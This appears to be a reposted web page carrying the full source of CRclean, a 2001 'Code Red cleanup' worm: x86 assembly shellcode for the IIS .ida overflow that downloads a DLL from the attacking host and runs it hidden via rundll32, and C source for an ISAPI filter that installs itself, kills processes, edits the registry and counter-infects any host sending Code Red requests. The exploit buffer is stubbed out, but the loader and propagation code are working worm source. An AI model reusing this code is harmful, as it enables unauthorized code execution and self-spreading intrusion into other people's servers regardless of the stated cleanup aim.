打微软补丁的一份代码

来源:互联网 发布:极限脱出 知乎 编辑:程序博客网 时间:2024/05/22 04:27
;; CRclean.asm; by Markus Kern <markus-kern@gmx.net>; 06.08.2001;; downloads CRclean.dll from sender and executes it using rundll32.exe; then calls ExitProcess() on success or sleeps forever on failure;.386p.model flat.codeassume fs:nothingdb 'GET /default.ida?---This-is-CRclean---Code-Red-cleanup-worm-'db '--check-your-wwwroot-for-CRclean.dll---it-contains-zipped-so'db 'urce---this-worm-does-not-spread-actively---if-you-see-this-'db 'the-destination-host-is-infected-with-Code-Red--------------'db '-%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685'db '8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f'db 'f%u0078%u0000%u00=a  HTTP/1.0',0Dh,0Ahdb 'Content-type: text/xml',0Ahdb 'Content-length: 0988',0Dh,0Ah,0Dh,0Ah; execution starts here with slightly modified Code Red v1 code; finds GetProcAddress and kernel32.dll basepush  ebpmov  ebp, espsub  esp, 218hpush  ebxpush  esipush  edilea  edi, [ebp-218h]mov  ecx, 86hmov  eax, 0CCCCCCCChrep  stosdmov  [ebp-190h], dword ptr 0lea  edi, [ebp-110h]mov  eax, dword ptr fs:0mov  [edi+8], eaxmov  dword ptr fs:0, edimov  dword ptr [ebp-110h], 0FFFFFFFFhmov  dword ptr [ebp-1A8h],77E00000hRVA_1:cmp  dword ptr [ebp-190h], 0jnz  RVA_5mov  ecx, [ebp-1A8h]add  ecx, 10000hmov  [ebp-1A8h], ecxcmp  dword ptr [ebp-1A8h],78000000hjnz  short RVA_2mov  dword ptr [ebp-1A8h],0BFF00000hRVA_2:mov  edx, [ebp-1A8h]xor  eax, eaxmov  ax, [edx]cmp  eax, 5A4Dhjnz  RVA_1mov  ecx, [ebp-1A8h]mov  edx, [ecx+3Ch]mov  eax, [ebp-1A8h]xor  ecx, ecxmov  cx, [eax+edx]cmp  ecx, 4550hjnz  RVA_1mov  edx, [ebp-1A8h]mov  eax, [edx+3Ch]mov  ecx, [ebp-1A8h]mov  edx, [ecx+eax+78h]add  edx, [ebp-1A8h]mov  [ebp-1ACh], edxmov  eax, [ebp-1ACh]mov  ecx, [eax+0Ch]add  ecx, [ebp-1A8h]mov  [ebp-1B4h], ecxmov  edx, [ebp-1B4h]cmp  dwordptr [edx], 4E52454Bhjnz  RVA_1mov  eax, [ebp-1B4h]cmp  dwordptr [eax+4], 32334C45hjnz  RVA_1mov  ecx, [ebp-1A8h]mov  [ebp-1CCh], ecxmov  edx, [ebp-1ACh]mov  eax, [ebp-1A8h]add  eax, [edx+20h]mov  [ebp-1B4h], eaxmov  dword ptr [ebp-1B8h], 0jmp  short RVA_4RVA_3:mov  ecx, [ebp-1B8h]add  ecx, 1mov  [ebp-1B8h], ecxmov  edx, [ebp-1B4h]add  edx, 4mov  [ebp-1B4h], edxRVA_4:mov  eax, [ebp-1ACh]mov  ecx, [ebp-1B8h]cmp  ecx, [eax+18h]jge  RVA_1mov  edx, [ebp-1B4h]mov  eax, [edx]mov  ecx, [ebp-1A8h]cmp  dword ptr [ecx+eax], 50746547hjnz  RVA_3mov  edx, [ebp-1B4h]mov  eax, [edx]mov  ecx, [ebp-1A8h]cmp  dword ptr [ecx+eax+4], 41636F72hjnz  RVA_3mov  edx, [ebp-1B8h]add  edx, [ebp-1B8h]add  edx, [ebp-1A8h]mov  eax, [ebp-1ACh]mov  ecx, [eax+24h]xor  eax, eaxmov  ax, [edx+ecx]mov  [ebp-1B4h], eaxmov  ecx, [ebp-1ACh]mov  edx, [ecx+10h]mov  eax, [ebp-1B4h]lea  ecx, [eax+edx-1]mov  [ebp-1B4h], ecxmov  edx, [ebp-1B4h]add  edx, [ebp-1B4h]add  edx, [ebp-1B4h]add  edx, [ebp-1B4h]add  edx, [ebp-1A8h]mov  eax, [ebp-1ACh]mov  ecx, [eax+1Ch]mov  edx, [edx+ecx]mov  [ebp-1B4h], edxmov  eax, [ebp-1B4h]add  eax, [ebp-1A8h]mov  [ebp-190h], eaxjmp  RVA_1RVA_5:lea  edi, [ebp-110h]mov  eax, [edi+8]mov  dword ptr fs:0, eax; end of Code Red codecall  GET_DATA_STARTd1db 'c:/CRclean.dll',0d2db 'http://123.123.123.123/CRclean.dll',0; ip filled in by ISAPI filterd3db 'LoadLibraryA',0d4db 'urlmon.dll',0d5db 'GetFileAttributesA',0d6db 'URLDownloadToFileA',0d7db 'WinExec',0d8db 'rundll32 c:/CRclean.dll,Run',0d9db 'Sleep',0d10db 'ExitProcess',0FilePathequ 0Urlequ d2-d1LoadLibStrequ d3-d1UrlMonStrequ d4-d1GetFileAttrStrequ d5-d1URLDownloadStrequ d6-d1WinExecStrequ d7-d1RundllStrequ d8-d1SleepStrequ d9-d1ExitProcStrequ d10-d1GET_DATA_START:popesi; start of our data; get address of GetFileAttributesAmov  edi, esiadd  edi, GetFileAttrStrpush  edipush  dword ptr [ebp-1CCh]; kernel32.dll handlecall  dword ptr [ebp-190h]; call GetProcAddressor  eax, eaxjz  SLEEPpush  eax; get address of LoadLibraryAmov  edi, esiadd  edi, LoadLibStrpush  edipush  dword ptr [ebp-1CCh]call  dwordptr [ebp-190h]; call GetProcAddressor  eax, eaxjz  SLEEP; load urlmon.dllmov  edi, esiadd  edi, UrlMonStrpush  edicall  eax; call LoadLibraryAor  eax, eaxjz  SLEEP; get address of URLDownloadToFileAmov  edi, esiadd  edi, URLDownloadStrpush  edipush  eax; urlmon.dll handlecall  dword ptr [ebp-190h]; call GetProcAddressor  eax, eaxjz  SLEEPmov  ebx, eaxDL_FILE:; check if file is already therepop  eax; get GetFileAttributesA addresspush  eaxmov  edi, esiadd  edi, FilePathpush  edicall  eax; call GetFileAttributesAcmp  eax, 0FFFFFFFFhjne  SLEEP; we've been here before, the dll is prolly preparing IIS restart; we sleep till we get terminated; call URLDownloadToFileApush  0push  0mov  edi, esiadd  edi, FilePathpush  edimov  edi, esiadd  edi, Urlpush  edipush  0call  ebx; call URLDownloadToFileA; check if file made it to the diskpop  eax; get GetFileAttributesA addresspush  eaxmov  edi, esiadd  edi, FilePathpush  edicall  eax; call GetFileAttributesAcmp  eax, 0FFFFFFFFhjne  DL_SUCCESS; if we just tried c: try d: nowmov  edi, esiadd  edi, FilePathcmp  byte ptr [edi], 'd'je  SLEEP; neither c: nor d: did work; set drive letter to 'd'mov  byte ptr [edi], 'd'mov  edi, esiadd  edi, RundllStr+9mov  byte ptr [edi], 'd'; change Runddll string toojmp  DL_FILEDL_SUCCESS:; get address of WinExecmov  edi, esiadd  edi, WinExecStrpush  edipush  dword ptr [ebp-1CCh]call  dword ptr [ebp-190h]; call GetProcAddressor  eax, eaxjz  SLEEP; call WinExecpush  0; SW_HIDEmov  edi, esimov  edi, esiadd  edi, RundllStrpush  edicall  eaxcmp  eax, 31jl  SLEEP; get address of ExitProcessmov  edi, esiadd  edi, ExitProcStrpush  edipush  dword ptr [ebp-1CCh]call  dword ptr [ebp-190h]; call GetProcAddressor  eax, eaxjz  SLEEP; call ExitProcesspush  0call  eax; terminate inetinfo.exe, on windows 2000 it will be; restarted but we get rid of all running Code RedsSLEEP:; get address of Sleepmov  edi, esiadd  edi, SleepStrpush  edipush  dword ptr [ebp-1CCh]call  dword ptr [ebp-190h]; call GetProcAddressor  eax, eaxjz  FATAL_ERROR; ok, we tried our best to save cpu cycles; call Sleeppush  0FFFFFFFFhcall  eax; sleep foreverFATAL_ERROR:jmp  FATAL_ERRORdb'end of file'END
/*** "The true object of all human life is play. Earth is a task garden; heaven is a playground." -- G.K. Chesterton, All Things Considered** CRclean.c* by Markus Kern <markus-kern@gmx.net>* 06.08.2001** if called by rundll32:*downloads and executes Q300972 patch from Microsoft*removes _original_ Code Red II backdoors*copies dll to wwwroot*adds dll to ISAPI filter list*restarts IIS** if loaded into IIS:*removes itself from system on IIS shutdown if it's november 2001 or later*responds to every Code Red exploit attempt by closing the connection and infecting the attacking host** the dll can be removed manually using "rundll32 CRclean.dll,Remove"**/#define INITGUID#include <winsock.h>#include <httpfilt.h>// ISAPI#include <iadmw.h>// metabase#define OUR_FILE_NAME "CRclean.dll"#define EXPLOIT_URL_OFFSET 0x1B9HANDLE hExploitMutex;unsigned char ExploitCode[] = "<exploit code removed to save bandwidth and prevent script kiddie reuse>";int IsWin2k = 1;int NumberOfThreads;// prevent clients from DoSing us// urlmon.dllHINSTANCE hUrlMonDll = NULL;HRESULT (STDAPICALLTYPE *pURLDownloadToCacheFile)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID) = NULL;// psapi.dllHINSTANCE hPsApiDll = NULL;BOOL (WINAPI *pEnumProcesses)(DWORD*,DWORD,DWORD*) = NULL;BOOL (WINAPI *pEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD) = NULL;DWORD (WINAPI *pGetModuleFileNameEx)(HANDLE,HMODULE,LPTSTR,DWORD) = NULL;DWORD WINAPI InfectThread(void* pData);void RemoveFilter();int ApplyPatch();void RemoveCRII();void RestartIIS();HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName);// dll entry point, duhBOOL WINAPI DllEntryPoint(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpvReserved){return TRUE;}// called by IIS on initializationBOOL _export WINAPI GetFilterVersion(PHTTP_FILTER_VERSION pVer){pVer->dwFilterVersion = HTTP_FILTER_REVISION;lstrcpy(pVer->lpszFilterDesc,"CRclean ISAPI filter");pVer->dwFlags = SF_NOTIFY_PREPROC_HEADERS | SF_NOTIFY_ORDER_HIGH;NumberOfThreads = 0;// mutex to serialize access to exploit code and inet_ntoa() functionhExploitMutex = CreateMutex(NULL,FALSE,NULL);// delete original copy of dllDeleteFile("c://"OUR_FILE_NAME);DeleteFile("d://"OUR_FILE_NAME);return TRUE;}// called by IIS on shutdownBOOL _export WINAPI TerminateFilter(DWORD dwFlags){SYSTEMTIME st;// remove us from system if it's november 2001 or laterGetSystemTime(&st);if(st.wYear > 2001 || st.wMonth >= 11)RemoveFilter();return TRUE;}// called by IIS for every http requestDWORD _export WINAPI HttpFilterProc(PHTTP_FILTER_CONTEXT pfc, DWORD notificationType, LPVOID pvNotification){char *buf;DWORD size,ThreadID;int i;if(notificationType == SF_NOTIFY_PREPROC_HEADERS) {// get url lengthsize = 0;((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",NULL,&size);// no problem if that shortif(size > 200) {// alloc buffer, MSDN says this is freeed automatically by IISif((buf = (char*)pfc->AllocMem(pfc,size,0)) != 0) {// get urlif(((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",buf,&size)) {// -200 because overflow only occurs with more than aprox 240 bytes after '?' delimiterfor(i=0;i<(size-200)&&buf[i]!='?';i++);if(buf[i] == '?' && buf[i-4] == '.' &&(buf[i-3] == 'i' || buf[i-3] == 'I') &&(buf[i-2] == 'd' || buf[i-2] == 'D') &&(buf[i-1] == 'a' || buf[i-1] == 'A')){// get client ip and run thread to infect clientsize = 32;if(pfc->GetServerVariable(pfc,"REMOTE_ADDR",buf,&size) && NumberOfThreads < 50) {NumberOfThreads++;CreateThread(0,512,InfectThread,(void*)inet_addr(buf),0,&ThreadID);}// disconnect client, sizeof(buf) is at least 200lstrcpy(buf,"HTTP/1.0 403 Access Forbidden/r/nServer: ");size = 64;pfc->GetServerVariable(pfc,"SERVER_SOFTWARE",buf+lstrlen(buf),&size);lstrcat(buf,"/r/nCRclean: rejected/r/n/r/n");size = lstrlen(buf);pfc->WriteClient(pfc,buf,&size,0);return SF_STATUS_REQ_FINISHED;}}}}pfc->AddResponseHeaders(pfc,"CRclean: passed/r/n",0);}return SF_STATUS_REQ_NEXT_NOTIFICATION;}// infects ip passed in pDataDWORD WINAPI InfectThread(void* pData){SOCKET Sock;SOCKADDR_IN Addr;int AddrSize;fd_set wfd;struct timeval tv;unsigned long nonblock;char *buf;Addr.sin_family = AF_INET;Addr.sin_port = htons(80);Addr.sin_addr.s_addr = (unsigned long)pData;if((Sock = socket(PF_INET,2,IPPROTO_TCP)) != INVALID_SOCKET) {// make socket non-blockingnonblock = 1;ioctlsocket(Sock,FIONBIO,&nonblock);// connectconnect(Sock,(SOCKADDR*)&Addr,sizeof(Addr));if(WSAGetLastError() == WSAEWOULDBLOCK) {FD_ZERO(&wfd);FD_SET(Sock,&wfd);tv.tv_sec = 20;tv.tv_usec = 0;if(select(0,0,&wfd,0,&tv)) {// make socket blockingnonblock = 0;ioctlsocket(Sock,FIONBIO,&nonblock);// get local ip used for connectionAddrSize = sizeof(Addr);if(getsockname(Sock,&Addr,&AddrSize) == 0) {WaitForSingleObject(hExploitMutex,INFINITE);if((buf = inet_ntoa(Addr.sin_addr)) != 0) {wsprintf(ExploitCode+EXPLOIT_URL_OFFSET,"http://%s/%s",buf,OUR_FILE_NAME);send(Sock,ExploitCode,sizeof(ExploitCode),0);}ReleaseMutex(hExploitMutex);Sleep(2000);}}closesocket(Sock);}}NumberOfThreads--;return 0;}// called by exploit code via rundll32.exe// we're either in "c://"OUR_FILE_NAME or in "d://"OUR_FILE_NAME when this is calledvoid _export _stdcall Run(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow){OSVERSIONINFO osvi;HKEY hKey;char *WebRootPath = NULL,*buf;char ModulePath[MAX_PATH];DWORD size;int i;// determine OSosvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);if(GetVersionEx(&osvi) && osvi.dwMajorVersion == 4)IsWin2k = 0;// load DLLs we needif((hUrlMonDll = LoadLibrary("urlmon.dll")) != 0) {pURLDownloadToCacheFile = (HRESULT (STDAPICALLTYPE*)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID))GetProcAddress(hUrlMonDll,"URLDownloadToCacheFileA");}// we don't have psapi.dll on NT thus FindProcess() won't workif((hPsApiDll = LoadLibrary("psapi.dll")) != 0) {pEnumProcesses = (BOOL (WINAPI *)(DWORD*,DWORD,DWORD*))GetProcAddress(hPsApiDll,"EnumProcesses");pEnumProcessModules = (BOOL (WINAPI *)(HANDLE,HMODULE*,DWORD,LPDWORD))GetProcAddress(hPsApiDll,"EnumProcessModules");pGetModuleFileNameEx = (DWORD (WINAPI *)(HANDLE,HMODULE,LPTSTR,DWORD))GetProcAddress(hPsApiDll,"GetModuleFileNameExA");}// patch system, in case this doesn't work our ISAPI filter will reject further Code Red exploit code (including our own)ApplyPatch();// remove backdoors created by Code Red II, won't hurt if we do this on NT tooRemoveCRII();// get web rootif(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {for(i=0;i<size&&WebRootPath[i]!=',';i++);lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);}}}RegCloseKey(hKey);}// prepare for spreading if we've found the web rootif(WebRootPath) {// copy us to webroot for distributionlstrcpy(ModulePath,"c://");lstrcat(ModulePath,OUR_FILE_NAME);if(!CopyFile(ModulePath,WebRootPath,TRUE)) {ModulePath[0] = 'e';if(!CopyFile(ModulePath,WebRootPath,TRUE))ModulePath[0] = 0;}if(ModulePath[0] != 0) {// add us to ISAPI filter list if copy was successfulif(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {if((buf = (char*)LocalAlloc(0,size+lstrlen(WebRootPath)+16)) != 0) {if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {if(size <= 2) {lstrcpy(buf,WebRootPath);} else if(buf[size-2] == ',') {lstrcat(buf,WebRootPath);} else {lstrcat(buf,",");lstrcat(buf,WebRootPath);}RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);}LocalFree(buf);}} else {// RegQueryValueEx() failed, the value probably doesn't exist, we create itRegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,WebRootPath,lstrlen(WebRootPath)+1);}RegCloseKey(hKey);}}LocalFree(WebRootPath);}// restart IIS to get rid of our own and any Code Red code still running in IIS's address space// IIS will load our ISAPI filter on restartRestartIIS();// unload DLLs before we leaveif(hUrlMonDll)FreeLibrary(hUrlMonDll);if(hPsApiDll)FreeLibrary(hPsApiDll);return;}// what can I say? it's here because it wasn't much effortvoid _export _stdcall Remove(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow){RemoveFilter();if(MessageBox(0,"CRclean removed on request. You must restart IIS for the changes to take effect./r/n""Reinstalling the entire system is strongly recommended!/r/n""Do you want to restart IIS now?","Code Red cleanup worm",MB_YESNO|MB_SYSTEMMODAL) == IDYES){RestartIIS();}return;}// removes us from ISAPI filter listvoid RemoveFilter(){HKEY hKey;char *WebRootPath = NULL,*buf,*p,*s;DWORD size;int i;// get web rootif(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {for(i=0;i<size&&WebRootPath[i]!=',';i++);lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);}}}RegCloseKey(hKey);}if(WebRootPath) {// remove us from IIS's ISAPI filter listif(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {if(size >= lstrlen(WebRootPath)) {// can't be our string if shorter than WebRootPathif((buf = (char*)LocalAlloc(0,size+16)) != 0) {if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {// do a case insesitive compareCharLower(WebRootPath);CharLower(buf);// search for WebRootPathfor(i=0;i<=size-lstrlen(WebRootPath);i++) {for(p=buf+i,s=WebRootPath;*s!=0&&*p!=0&&*p==*s;s++,p++);if(*s == 0) {// matchif(lstrlen(buf) == lstrlen(WebRootPath))buf[0] = 0;else if(i == 0)lstrcpy(buf,p+1);// +1 for comma after WebRootPathelselstrcpy(buf+i-1,p); // -1 for comma before WebRootPathbreak;}}RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);}LocalFree(buf);}}}RegCloseKey(hKey);}// delete this file on next rebootMoveFileEx(WebRootPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);LocalFree(WebRootPath);}return;}// downloads Q300972 from microsoft and runs itint ApplyPatch(){STARTUPINFO si;PROCESS_INFORMATION pi;HANDLE hProc;LANGID LangID;char Url[256],Path[MAX_PATH];int i;LANGID NtLangID[13] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_DUTCH,LANG_FRENCH,LANG_GERMAN,LANG_HEBREW,LANG_JAPANESE,LANG_KOREAN,LANG_PORTUGUESE,LANG_SPANISH,LANG_SWEDISH,LANG_THAI };char NtLangStr[13][10] = { "CN/CHS","TW/CHT","AR/ARA","NL/NLD","FR/FRA","DE/DEU","HE/HEB","JA/JPN","KO/KOR","PT-BR/ptb","ES/ESP","SV/SVE","TH/THA" };LANGID W2kLangID[22] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_CZECH,LANG_DANISH,LANG_DUTCH,LANG_FINNISH,LANG_FRENCH,LANG_GERMAN,LANG_GREEK,LANG_HEBREW,LANG_HUNGARIAN,LANG_ITALIAN,LANG_JAPANESE,LANG_KOREAN,LANG_NORWEGIAN,LANG_POLISH,LANG_PORTUGUESE,LANG_RUSSIAN,LANG_SPANISH,LANG_SWEDISH,LANG_TURKISH };char W2kLangStr[22][3] = { "cn","tw","ar","cs","da","nl","fi","fr","de","el","he","hu","it","ja","ko","no","pl","pt","ru","es","sv","tr" };// prepare download urlLangID = GetSystemDefaultLangID();lstrcpy(Url,"http://download.microsoft.com/download/");// win 2kif(IsWin2k) {lstrcat(Url,"win2000platform/patch/q300972/nt5/");for(i=0;i<22&&PRIMARYLANGID(LangID)!=W2kLangID[i];i++);if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)i++;if(i < 22)wsprintf(Url+lstrlen(Url),"%s/Q300972_W2k_SP3_x86_%s.exe",W2kLangStr[i],W2kLangStr[i]);else// use US as defaultlstrcat(Url,"en-us/Q300972_W2K_SP3_x86_en.exe");// win nt} else {lstrcat(Url,"winntsp/patch/q300972/nt4/");for(i=0;i<13&&PRIMARYLANGID(LangID)!=NtLangID[i];i++);if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)i++;if(i < 13)lstrcat(Url,NtLangStr[i]);else// use US as defaultlstrcat(Url,"en-us/");lstrcat(Url,"Q300972i.exe");}// download and execute patchif(pURLDownloadToCacheFile) {if(pURLDownloadToCacheFile(NULL,Url,Path,MAX_PATH,0,NULL) == 0) {for(i=0;i<sizeof(si);i++)((unsigned char*)&si)[i] = 0;si.cb = sizeof(si);// run patchif(CreateProcess(Path,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)) {if(IsWin2k) {// wait 3 mins for hotfix to installSleep(3*60*1000);// patch either displays message box informing about successfull install or an error message// user can't see this message box, we kill hotfix.exe in either case// the process we created above cleans up all the temp files when hotfix.exe terminatesif((hProc = FindProcess("hotfix.exe",TRUE)) != 0) {TerminateProcess(hProc,0);CloseHandle(hProc);// wait till we can delete downloaded fileWaitForSingleObject(pi.hProcess,3*60*1000);DeleteFile(Path);}} else {// on NT we just let the hotfix run, luser will click OK eventually// restarting IIS is enough to activate the new idq.dll, no need to reboot}CloseHandle(pi.hProcess);return 0;}}}return 1;}// removes Code Red II backdoorsvoid RemoveCRII(){DWORD size;HANDLE hProc;HKEY hKey;IMSAdminBaseW *Meta;METADATA_HANDLE hMetaKey;char Path[MAX_PATH];// search and destroy trojan explorer.exeif((hProc = FindProcess("c://explorer.exe",FALSE)) != 0) {TerminateProcess(hProc,0);WaitForSingleObject(hProc,10*1000);CloseHandle(hProc);}if((hProc = FindProcess("d://explorer.exe",FALSE)) != 0) {TerminateProcess(hProc,0);WaitForSingleObject(hProc,10*1000);CloseHandle(hProc);}// delete explorer trojan, need to remove readonly attribute for DeleteFile() to workSetFileAttributes("c://explorer.exe",FILE_ATTRIBUTE_NORMAL);DeleteFile("c://explorer.exe");SetFileAttributes("d://explorer.exe",FILE_ATTRIBUTE_NORMAL);DeleteFile("d://explorer.exe");// remove cmd.exe backdoorsDeleteFile("c://inetpub//scripts//root.exe");DeleteFile("d://inetpub//scripts//root.exe");DeleteFile("c://progra~1//common~1//system//msadc//root.exe");DeleteFile("d://progra~1//common~1//system//msadc//root.exe");// reenable file protection// we probably need to reboot to activate the change, user will do this for us on next OS crashif(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows NT//CurrentVersion//Winlogon",0,KEY_SET_VALUE,&hKey) == 0) {size = 0;RegSetValueEx(hKey,"SFCDisable",0,REG_DWORD,(BYTE*)&size,sizeof(DWORD));RegCloseKey(hKey);}// clean up registry// turns out IIS copies new values under "Virtual Roots" into an internal thing called metabase// and restores changes of already present registry values from this metabase on restart// means we must delete /C and /D from the metabase// the /scripts and /msadc changes apparently never made it there and the corresponding registry values// have probably been restored by IIS after CRII's reboot// there're days I'm very glad I don't have to think the way Microsoft engineers doCoInitialize(NULL);if(CoCreateInstance(&CLSID_MSAdminBase,NULL,CLSCTX_ALL,&IID_IMSAdminBase,(void**)&Meta) == 0) {MultiByteToWideChar(CP_ACP,0,"/lm/w3svc/1/root",-1,Path,MAX_PATH/2);if(Meta->lpVtbl->OpenKey(Meta,METADATA_MASTER_ROOT_HANDLE,Path,METADATA_PERMISSION_WRITE,10000,&hMetaKey) == 0) {Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"C/x00/x00");// unicodeMeta->lpVtbl->DeleteKey(Meta,hMetaKey,"D/x00/x00");Meta->lpVtbl->CloseKey(Meta,hMetaKey);}Meta->lpVtbl->Release(Meta);}CoUninitialize();// must do this to prevent IIS from copying it back into metabase on restartif(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE | KEY_SET_VALUE,&hKey) == 0) {RegDeleteValue(hKey,"/C");RegDeleteValue(hKey,"/D");RegCloseKey(hKey);}return;}// restarts IISvoid RestartIIS(){STARTUPINFO si;PROCESS_INFORMATION pi;SC_HANDLE hManager,hSvc;SERVICE_STATUS SvcStat;int i;if(IsWin2k) {// neither "net stop w3svc" nor ControlService(SERVICE_CONTROL_STOP) seem to work on infected machinesfor(i=0;i<sizeof(si);i++)((unsigned char*)&si)[i] = 0;si.cb = sizeof(si);si.wShowWindow = SW_HIDE;// don't scare the cluelesssi.dwFlags = STARTF_USESHOWWINDOW;CreateProcess(NULL,"iisreset /RESTART /TIMEOUT:30",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);} else {// we don't have iisreset.exe on NTif((hManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))) {if((hSvc = OpenService(hManager,"w3svc",SERVICE_STOP|SERVICE_START|SERVICE_QUERY_STATUS))) {// stop iisControlService(hSvc,SERVICE_CONTROL_STOP,&SvcStat);// wait till shutdown completedControlService(hSvc,SERVICE_CONTROL_INTERROGATE,&SvcStat);for(i=0;i<60&&SvcStat.dwCurrentState!=SERVICE_STOPPED;i++) {Sleep(1000);QueryServiceStatus(hSvc,&SvcStat);}// and restart itStartService(hSvc,0,NULL);CloseServiceHandle(hSvc);}CloseServiceHandle(hManager);}}return;}// searches process list for ProcessToFind// caller is responsible for closing returned handleHANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName){DWORD ProcList[1024],size,msize;HANDLE hProc;HMODULE hMod;char Path[MAX_PATH];int i;// search for processif(pEnumProcesses && pEnumProcessModules && pGetModuleFileNameEx) {if(pEnumProcesses(ProcList,1024*sizeof(DWORD),&size))for(i=0;i<size/sizeof(DWORD);i++)if((hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,FALSE,ProcList[i])) != 0) {if(pEnumProcessModules(hProc,&hMod,sizeof(HMODULE),&msize))if(pGetModuleFileNameEx(hProc,hMod,Path,MAX_PATH))if(OnlyCompareFileName) {if(lstrcmpi(Path+lstrlen(Path)-lstrlen(ProcessToFind),ProcessToFind) == 0)return hProc;} else {if(lstrcmpi(Path,ProcessToFind) == 0)return hProc;}CloseHandle(hProc);}}return NULL;}